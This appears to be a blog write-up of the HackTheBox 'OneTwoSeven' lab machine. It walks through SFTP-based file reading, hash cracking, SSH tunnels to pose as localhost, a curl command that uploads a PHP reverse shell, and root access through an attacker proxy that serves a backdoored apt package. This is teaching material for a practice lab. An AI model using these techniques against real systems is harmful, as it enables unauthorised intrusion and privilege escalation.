Posted on: 31 Aug 2019 | HackTheBox
I started with my usual
$ nmap -sC -sV -oN initial 10.10.10.133 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian))
After this scan I “triple-tap” my target with a
script- and a
While the script-scan gave me no obvious further information to work with, the all-ports
scan gave me another port
60080 to work with.
A quick scan told me it’s an unknown service and filtered.
PORT STATE SERVICE VERSION 60080/tcp filtered unknown
Since we just have one really interesting port to play with I focused on it.
80 in my browser showed a website boosting their “secure”
First thing that stands out is that
admin option in the menu.
But it’s disabled and not clickable.
A quick look into the source-code of the site reveals a comment for that
<!-- Only enable link if access from trusted networks admin/20190212 --> <!-- Added localhost admin/20190214 --> <li class="nav-item"><a id="adminlink" class="nav-link disabled" href="http://onetwoseven.htb:60080/">Admin</a></li>
This tells us something about that obscure port we found ealier. We can’t access the admin link from the
But we’ve got a
DNS-Name we can put into our hosts-file. From now on we access the website only by it’s
Let’s move on for now:
Statistics option showed nothing that peeked my interest.
So I moved on to check the
We jump to a
singup.php site and get some
Followed by some instructions how to use them.
Apperently I can upload files to:
sftp://onetwoseven.htb and view them here:
After login I found this setup:
Let’s put some content on it, shall we?
As you can see, I tried uploading a
php-info.php script into the root-directory but are not allowed to.
After switching to the subdirectory the upload was successfull.
Can we get code-execution?
Bummer. ;) Let’s try something else:
Ok. We are just not allowed to use php on the server. What now? I tried a couple of things at this point like:
- Different types of executables like
aspx. (I test such things even when it’s a Linux server. You never know. ;)
And of cause:
Bingo! We can read local files. We just have two entries. One is us. And one is well - someone else.
Let’s ignore (but keep in mind) that the other user has a
127.0.0.1 in his entry.
But what-else can we read? Maybe folders?
Hell yeah! (Don’t be mistaken here. This looks straight forward now. But it took me quite some time to figure that out.) I systematically went through all folders manually to check it’s contents. Most folder weren’t accessible to me though.
However one file was indeed the next step forward. The
The file looked like some sort of temporary file. And wasn’t readable by a normal text-editor. So I ran
strings against it to get
as much stuff out of there as possible. Which actually was quite successful if you ask me. ;)
With the the found hash I went to an online-hashcrack-website to see if it’s a known hash.
Sure enough we get a username
ots-admin and password
Homesweethome1. But for what service?
I tried to login to
SFTP but get a
admin option? It’s time check it ….. somehow.
Let’s recap what we know and have.
admin panelaccessible from
admin credentialsto probably that
SFTPaccess with normal user
But how can we trick the server thinking we are
localhost by using our access to build a
ssh -N -L 80:127.0.0.1:80 ots-iM2I4N2Q@10.10.10.133
and then accessing the Website again via
As you see we can now can access the
But before doing that - Do you remember that user with
127.0.0.1 in his entry?
We are now
127.0.0.1. Think a second what this implies. :)
Ok. Got it? No?
No worries - it took me a while to get that part myself. We have access to his
account now. How?
Well - take a look at the
We come from
127.0.0.1 therefore the application thinks we are him and present us the password.
But before we can use the credentials we need to make sure we are comming from
127.0.0.1 for the
service aswell. Our present tunnel is just for
port 80 not
ssh -N -L 22:127.0.0.1:22 ots-iM2I4N2Q@10.10.10.133
Oh - there’s the
user.txt. That was unexpected right? We can now focus to get access to that box.
admin-panel links is now clickable - we can’t access the site right away because it’s listening on
Yep - you guest it. Another
tunnel is needed.
ssh -N -L 60080:127.0.0.1:60080 ots-iM2I4N2Q@10.10.10.133
I used the credentials we cracked earlier. But as you can see - there’s a disabled upload button again. We can just enable it in the sourcecode.
But because we might want to upload something over and over again - it would be a time saver to do it with
In order to build my
curl query I started
Burp to see how the request would look like and what
cookie value I need to send over.
An alternative and simpler way is to use the
developer-tools of your browser to get the cookie.
After some trial and error I came up with the following command:
curl -H 'Cookie: PHPSESSID=immqdajjjet662lm9qctfrt7h3' -H 'Host: onetwoseven.htb' --form 'addon=@/root/HTB/Boxes/OneTwoSeven/ots-shell.php' 'http://127.0.0.1:60080/addon-download.php?addon=/addon-upload.php' -vvv
This article was very helpful if you want to learn more.
After uploading a simple
php-reverse-shell, we can open a
ncat session and launch our
reverse-shell and doing our
cli-magic after receiving it.
This write-up is already getting very long. So I come right to the meat of the
When doing proper
post-exploitation-recon one command should not be missed:
Also this time it reveals what our target is.
env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy",mail_badpass, User www-admin-data may run the following commands on onetwoseven: (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade
Our user (
www-data) is allowed to update the system and he has also the right to set the
How does a upgrade look like right now?
sudo apt-get update Err:1 http://packages.onetwoseven.htb/devuan ascii InRelease Temporary failure resolving 'packages.onetwoseven.htb' <------ Err:2 http://de.deb.devuan.org/merged ascii InRelease Temporary failure resolving 'de.deb.devuan.org' Err:3 http://de.deb.devuan.org/merged ascii-security InRelease Temporary failure resolving 'de.deb.devuan.org' Err:4 http://de.deb.devuan.org/merged ascii-updates InRelease Temporary failure resolving 'de.deb.devuan.org' Reading package lists...
This is the last missing bit. Because
APT tries to resolve “packages.onetwoseven.htb” we can high-jack that request.
Which in turn means, we can install a malicious package as root. I’ll put a couple of links at the end for further reference on this topic.
The steps and network setup are roughly these:
1. Backdoor APT-Package 2. Set http_proxy to attacker-proxy 3. Redirect traffic from attacker-proxy to attack-webserver 4. Rebuild APT-Repository 5. Open a Reverse-Shell listener 6. Start upgrade 7. root! <Victim> ---- [http_proxy=attacker:4444] ---- <4444:attacker:5555> ---- <5555:attacker-webserver> ---- [APT-Repository]
As you can see from the next screenshots I backdoored
nano. Just download
nano from the repository and run:
dpkg-deb -R nano.deb nano_output
Then add a post-install script and repack everything and build a repository.
This is how my folders were setup:
Yes, I did that manually. Which was painful, but worked. I later learned about
reprepo from xct’s WriteUp.
A very simple tool for such things. In fact, I used this for this Write-up too.
First because I want to try it myself. Second because my VPN-IP changed, so my
backdoored nano package wasn’t working anymore.
I couldn’t be bothered to go through the process of getting the signatures and hashes right again. It obviously has NOTHING to do with crappy note-taking for this part…..
If you would like to roll your own repo for this, you could watch watch ippsec’s video.
Intercept is off.
After running an
update we see hits on our webserver. And after an
upgrade we can install our backdoored
nano and get a
One of my favorite boxes so far! :) See you next time.